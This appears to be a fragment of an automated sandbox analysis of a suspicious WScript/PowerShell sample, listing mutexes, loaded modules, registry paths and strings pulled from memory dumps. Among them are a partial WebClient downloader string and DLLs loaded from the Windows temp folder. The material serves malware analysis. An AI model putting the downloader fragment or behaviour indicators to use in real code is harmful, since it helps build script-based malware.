created mutex with name "Local\SM0:8128:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:8128:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4904:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:4904:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:4904:120:WilError_01" Process powershell.exe created mutex with name "SM0:4904:304:WilStaging_02" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4904:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4904:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile"3e:Teee,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]3f:T1d2c,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004904.00000000.141303.ABEF0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E" in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "HKLM\" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004904.00000001.141909.ABEF0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E" in Source: 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CasPol.exe" in Source: 00000000-00004904.00000001.141909.C6505000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004904.00000001.141909.C6A8C000.00000004.mdmp40:T2a39,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff95a6e0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff95a6e0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff95a6e0000 "WScript.exe" loaded module "KERNEL32" at base 7ff95d150000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff92db30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff958840000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ff95d030000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ff95d150000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ff92da90000 "WScript.exe" loaded module "AMSI.DLL" at base 7ff941890000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9517f0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff93bfc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\3K76PN06.DLL" at base 7ff936e50000 "WScript.exe" loaded module "WLDP.DLL" at base 7ff9592f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff95d240000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff95b320000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9596a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff947ae0000 "WScript.exe" loaded module "OLE32.DLL" at base 7ff95cdc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff95a510000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff93ba70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ff92da50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ff92da20000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff95a6e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ff92d990000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff950be0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff94d430000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff94d460000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff95a6e0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff95a6e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff94d480000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff95a6e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff95a6e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff95a6e0000 "powershell.exe" loaded module "KERNEL32" at base 7ff95d150000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff92db30000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff95d240000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff947b60000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff95cd60000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff95a240000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff9517f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff92d060000 "powershell.exe" loaded module "USER32.DLL" at base 7ff95caf0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff95a6e0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff94c800000 "powershell.exe" loaded module "NTDLL" at base 7ff95deb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff95d940000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff95d030000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff95d150000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff92ba60000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff95cdc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff95d940000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff95d3f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff92adf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff92a370000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff92a2c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9596a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff95b2a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff928250000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff95d940000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff95d940000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff95deb0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff95b530000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff95b380000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff95b320000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff95b320000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff95a510000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff941890000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9517f0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff93bfc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\3K76PN06.DLL" at base 7ff936e50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff9281b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff928040000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff927ed0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff95a510000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff927620000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff9274e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff927480000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff926b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff9267a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff95a6e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff926650000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff9265e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff926500000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff9264b0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff9524b0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff95a100000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff9592f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff958840000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff9263d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff95d150000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff95a130000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff95d240000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff95d940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff9256c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff925690000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff959d60000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ff94d930000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ff94d8f0000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ff95de10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff959a90000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ff956a60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff93bfa0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ff959820000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff952c50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff9532d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff9595e0000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff949e10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff949e60000 "powershell.exe" loaded module "ADVAPI32" at base 7ff95d240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\FB4BA4DB52CA77687F807BB068871EC2\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ff92546000041:T1156,Found string "$eavesdrops=New-Object Net.Web" (Indicator: "New-Object"; Source: "00000000-00004904.00000000.141303.ABEF0000.00000004.mdmp, 00000000-00004904.00000001.141909.ABEF0000.00000004.mdmp") Found string "$eavesdrops=New-Object Net.WebClient;" (Indicator: "New-Object"; Source: "00000000-00004904.00000000.141303.ABEF0000.00000004.mdmp, 00000000-00004904.00000000.141303.AC170000.00000004.mdmp, 00000000-00004904.00000000.141303.ADA60000.00000004.mdmp, 00000000-00004904.00000000.141303.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.ABEF0000.00000004.mdmp, 00000000-00004904.00000001.141909.AC170000.00000004.mdmp, 00000000-00004904.00000001.141909.ADA60000.00000004.mdmp, 00000000-00004904.00000001.141909.C6505000.00000004.mdmp, 00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Write-Error -ErrorRecord $errorRecord" (Indicator: "Write-Error"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found string "Write-Output -InputObject $byteCollect" (Indicator: "Write-Output"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found string 